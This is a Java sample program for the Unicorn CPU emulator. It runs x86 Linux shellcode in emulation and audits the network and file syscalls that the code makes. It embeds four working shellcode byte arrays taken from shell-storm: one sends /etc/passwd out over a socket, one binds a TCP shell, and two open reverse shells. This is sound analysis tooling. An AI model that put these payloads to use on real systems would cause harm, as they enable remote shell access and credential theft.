475 lines
19 KiB
Java
475 lines
19 KiB
Java
/*
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Java bindings for the Unicorn Emulator Engine
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Copyright(c) 2015 Chris Eagle
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This program is free software; you can redistribute it and/or
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modify it under the terms of the GNU General Public License
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version 2 as published by the Free Software Foundation.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
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*/
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/*
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Unicorn sample for auditing network connection and file handling in shellcode.
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Nguyen Tan Cong <shenlongbk@gmail.com>
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*/
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package samples;
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import unicorn.*;
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import java.util.*;
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public class SampleNetworkAuditing {
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public static long next_id = 3;
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public static final int SIZE_REG = 4;
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private static LogChain fd_chains = new LogChain();
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public static long get_id() {
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return next_id++;
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}
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public static final long toInt(byte val[]) {
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long res = 0;
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for (int i = 0; i < val.length; i++) {
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long v = val[i] & 0xff;
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res = res + (v << (i * 8));
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}
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return res;
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}
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public static final byte[] toBytes(long val) {
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byte[] res = new byte[8];
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for (int i = 0; i < 8; i++) {
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res[i] = (byte) (val & 0xff);
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val >>>= 8;
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}
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return res;
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}
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private static class MyInterruptHook implements InterruptHook {
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// callback for tracing Linux interrupt
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public void hook(Unicorn uc, int intno, Object user) {
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// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
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// only handle Linux syscall
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if (intno != 0x80) {
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return;
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}
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long eax = uc.reg_read(Unicorn.UC_X86_REG_EAX);
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long ebx = uc.reg_read(Unicorn.UC_X86_REG_EBX);
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long ecx = uc.reg_read(Unicorn.UC_X86_REG_ECX);
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long edx = uc.reg_read(Unicorn.UC_X86_REG_EDX);
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long eip = uc.reg_read(Unicorn.UC_X86_REG_EIP);
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// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
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if (eax == 1) { // sys_exit
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System.out.printf(">>> SYS_EXIT\n");
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uc.emu_stop();
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} else if (eax == 3) { // sys_read
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long fd = ebx;
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long buf = ecx;
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long count = edx;
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String uuid = UUID.randomUUID().toString().substring(0, 32);
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byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0,
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(int) Math.min(count, uuid.length()));
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uc.mem_write(buf, dummy_content);
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String msg = String.format(
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"read %d bytes from fd(%d) with dummy_content(%s)", count,
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fd, uuid.substring(0, dummy_content.length));
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fd_chains.add_log(fd, msg);
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System.out.printf(">>> %s\n", msg);
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} else if (eax == 4) { // sys_write
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long fd = ebx;
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long buf = ecx;
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long count = edx;
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byte[] content = uc.mem_read(buf, (int) count);
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String msg = String.format("write data=%s count=%d to fd(%d)",
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new String(content), count, fd);
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System.out.printf(">>> %s\n", msg);
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fd_chains.add_log(fd, msg);
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} else if (eax == 5) { // sys_open
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long filename_addr = ebx;
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long flags = ecx;
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long mode = edx;
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String filename = read_string(uc, filename_addr);
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long dummy_fd = get_id();
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uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
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String msg = String.format(
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"open file (filename=%s flags=%d mode=%d) with fd(%d)",
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filename, flags, mode, dummy_fd);
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fd_chains.create_chain(dummy_fd);
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fd_chains.add_log(dummy_fd, msg);
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System.out.printf(">>> %s\n", msg);
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} else if (eax == 11) { // sys_execv
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// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
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String filename = read_string(uc, ebx);
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System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
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} else if (eax == 63) { // sys_dup2
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fd_chains.link_fd(ecx, ebx);
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System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
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} else if (eax == 102) { // sys_socketcall
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// ref: http://www.skyfree.org/linux/kernel_network/socket.html
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long call = uc.reg_read(Unicorn.UC_X86_REG_EBX);
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long args = uc.reg_read(Unicorn.UC_X86_REG_ECX);
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// int sys_socketcall(int call, unsigned long *args)
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if (call == 1) { // sys_socket
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// err = sys_socket(a0,a1,a[2])
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// int sys_socket(int family, int type, int protocol)
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long family = toInt(uc.mem_read(args, SIZE_REG));
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long sock_type =
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toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long protocol =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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long dummy_fd = get_id();
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uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
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if (family == 2) { // AF_INET
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String msg =
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String.format("create socket (%s, %s) with fd(%d)",
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ADDR_FAMILY.get(family),
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SOCKET_TYPES.get(sock_type), dummy_fd);
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fd_chains.create_chain(dummy_fd);
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fd_chains.add_log(dummy_fd, msg);
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print_sockcall(msg);
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} else if (family == 3) { // AF_INET6
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}
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} else if (call == 2) { // sys_bind
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long umyaddr =
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toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long addrlen =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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byte[] sock_addr = uc.mem_read(umyaddr, (int) addrlen);
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String msg = String.format("fd(%d) bind to %s", fd,
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parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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} else if (call == 3) { // sys_connect
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// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
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// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long uservaddr =
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toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long addrlen =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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byte[] sock_addr = uc.mem_read(uservaddr, (int) addrlen);
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String msg = String.format("fd(%d) connect to %s", fd,
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parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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} else if (call == 4) { // sys_listen
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long backlog =
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toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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String msg = String.format(
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"fd(%d) listened with backlog=%d", fd, backlog);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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} else if (call == 5) { // sys_accept
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long upeer_sockaddr =
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toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long upeer_addrlen =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
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if (upeer_sockaddr == 0x0) {
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print_sockcall(
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String.format("fd(%d) accept client", fd));
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} else {
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long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
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byte[] sock_addr =
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uc.mem_read(upeer_sockaddr, (int) upeer_len);
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String msg =
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String.format("fd(%d) accept client with upeer=%s",
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fd, parse_sock_address(sock_addr));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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} else if (call == 9) { // sys_send
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long length =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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long flags =
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toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
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byte[] buf = uc.mem_read(buff, (int) length);
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String msg = String.format("fd(%d) send data=%s", fd,
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new String(buf));
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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} else if (call == 11) { // sys_receive
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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long size =
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toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
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long flags =
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toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
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String msg = String.format(
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"fd(%d) is gonna receive data with size=%d flags=%d",
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fd, size, flags);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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} else if (call == 13) { // sys_shutdown
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long fd = toInt(uc.mem_read(args, SIZE_REG));
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long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
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String msg = String.format(
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"fd(%d) is shutted down because of %d", fd, how);
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fd_chains.add_log(fd, msg);
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print_sockcall(msg);
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}
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}
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}
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}
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public static final Hashtable<Long, String> SOCKET_TYPES;
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public static final Hashtable<Long, String> ADDR_FAMILY;
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static {
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SOCKET_TYPES = new Hashtable<Long, String>();
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ADDR_FAMILY = new Hashtable<Long, String>();
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SOCKET_TYPES.put(1L, "SOCK_STREAM");
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SOCKET_TYPES.put(2L, "SOCK_DGRAM");
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SOCKET_TYPES.put(3L, "SOCK_RAW");
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SOCKET_TYPES.put(4L, "SOCK_RDM");
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SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
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SOCKET_TYPES.put(10L, "SOCK_PACKET");
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ADDR_FAMILY.put(0L, "AF_UNSPEC");
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ADDR_FAMILY.put(1L, "AF_UNIX");
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ADDR_FAMILY.put(2L, "AF_INET");
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ADDR_FAMILY.put(3L, "AF_AX25");
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ADDR_FAMILY.put(4L, "AF_IPX");
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ADDR_FAMILY.put(5L, "AF_APPLETALK");
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ADDR_FAMILY.put(6L, "AF_NETROM");
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ADDR_FAMILY.put(7L, "AF_BRIDGE");
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ADDR_FAMILY.put(8L, "AF_AAL5");
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ADDR_FAMILY.put(9L, "AF_X25");
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ADDR_FAMILY.put(10L, "AF_INET6");
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ADDR_FAMILY.put(12L, "AF_MAX");
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}
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// http://shell-storm.org/shellcode/files/shellcode-861.php
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public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67,
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49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102,
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88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106,
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16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63,
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-51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80,
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3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62,
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106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1,
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-1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 };
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// http://shell-storm.org/shellcode/files/shellcode-882.php
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public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49,
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-10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86,
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102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51,
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-128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86,
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86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128,
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73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110,
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-119, -29, 65, -119, -54, -51, -128 };
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// http://shell-storm.org/shellcode/files/shellcode-883.php
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public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49,
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-46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1,
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1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119,
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-31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121,
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-7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105,
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110, -119, -29, -51, -128 };
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// http://shell-storm.org/shellcode/files/shellcode-849.php
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public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55,
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49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51,
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-128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102,
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104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31,
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-51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49,
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-64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82,
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83, -119, -31, 82, -119, -30, -80, 11, -51, -128 };
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// memory address where emulation starts
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public static final int ADDRESS = 0x1000000;
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public static String join(ArrayList<String> l, String sep) {
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boolean first = true;
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StringBuilder res = new StringBuilder();
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for (String s : l) {
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if (!first) {
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res.append(sep);
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}
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res.append(s);
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first = false;
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}
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return res.toString();
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}
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private static class LogChain {
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public Hashtable<Long, ArrayList<String>> __chains =
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new Hashtable<Long, ArrayList<String>>();
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public Hashtable<Long, ArrayList<Long>> __linking_fds =
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new Hashtable<Long, ArrayList<Long>>();
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public void clean() {
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__chains.clear();
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__linking_fds.clear();
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}
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public void create_chain(long id) {
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if (!__chains.containsKey(id)) {
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__chains.put(id, new ArrayList<String>());
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} else {
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System.out.printf("LogChain: id %d existed\n", id);
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}
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}
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public void add_log(long id, String msg) {
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long fd = get_original_fd(id);
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if (fd != -1) {
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__chains.get(fd).add(msg);
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} else {
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System.out.printf("LogChain: id %d doesn't exist\n", id);
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}
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}
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public void link_fd(long from_fd, long to_fd) {
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if (!__linking_fds.containsKey(to_fd)) {
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__linking_fds.put(to_fd, new ArrayList<Long>());
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}
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__linking_fds.get(to_fd).add(from_fd);
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}
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public long get_original_fd(long fd) {
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if (__chains.containsKey(fd)) {
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return fd;
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}
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for (Long orig_fd : __linking_fds.keySet()) {
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if (__linking_fds.get(orig_fd).contains(fd))
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return orig_fd;
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}
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return -1;
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}
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public void print_report() {
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System.out.printf("\n----------------");
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System.out.printf("\n| START REPORT |");
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System.out.printf("\n----------------\n\n");
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for (Long fd : __chains.keySet()) {
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System.out.printf("---- START FD(%d) ----\n", fd);
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System.out.println(join(__chains.get(fd), "\n"));
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System.out.printf("---- END FD(%d) ----\n", fd);
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}
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System.out.printf("\n--------------");
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System.out.printf("\n| END REPORT |");
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System.out.printf("\n--------------\n\n");
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}
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}
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// end supported classes
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// utilities
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static String read_string(Unicorn uc, long addr) {
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StringBuilder ret = new StringBuilder();
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char c;
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do {
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c = (char) (uc.mem_read(addr++, 1)[0] & 0xff);
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if (c != 0) {
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ret.append(c);
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}
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} while (c != 0);
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return ret.toString();
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}
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static String parse_sock_address(byte[] sock_addr) {
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int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
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if (sin_family == 2) { // AF_INET
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int sin_port =
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((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
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return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff,
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sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff,
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sin_port);
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} else if (sin_family == 6) // AF_INET6
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return "";
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return null;
|
|
}
|
|
|
|
static void print_sockcall(String msg) {
|
|
System.out.printf(">>> SOCKCALL %s\n", msg);
|
|
}
|
|
// end utilities
|
|
|
|
public static void test_i386(byte[] code) {
|
|
fd_chains.clean();
|
|
System.out.printf("Emulate i386 code\n");
|
|
try {
|
|
// Initialize emulator in X86-32bit mode
|
|
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
|
|
|
// map 2MB memory for this emulation
|
|
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
|
|
|
// write machine code to be emulated to memory
|
|
mu.mem_write(ADDRESS, code);
|
|
|
|
// initialize stack
|
|
mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L);
|
|
|
|
// handle interrupt ourself
|
|
mu.hook_add(new MyInterruptHook(), null);
|
|
|
|
// emulate machine code in infinite time
|
|
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
|
|
|
|
// now print out some registers
|
|
System.out.printf(">>> Emulation done\n");
|
|
|
|
} catch (UnicornException uex) {
|
|
System.out.printf("ERROR: %s\n", uex.getMessage());
|
|
}
|
|
|
|
fd_chains.print_report();
|
|
}
|
|
|
|
public static void main(String args[]) {
|
|
test_i386(X86_SEND_ETCPASSWD);
|
|
test_i386(X86_BIND_TCP);
|
|
test_i386(X86_REVERSE_TCP);
|
|
test_i386(X86_REVERSE_TCP_2);
|
|
}
|
|
|
|
}
|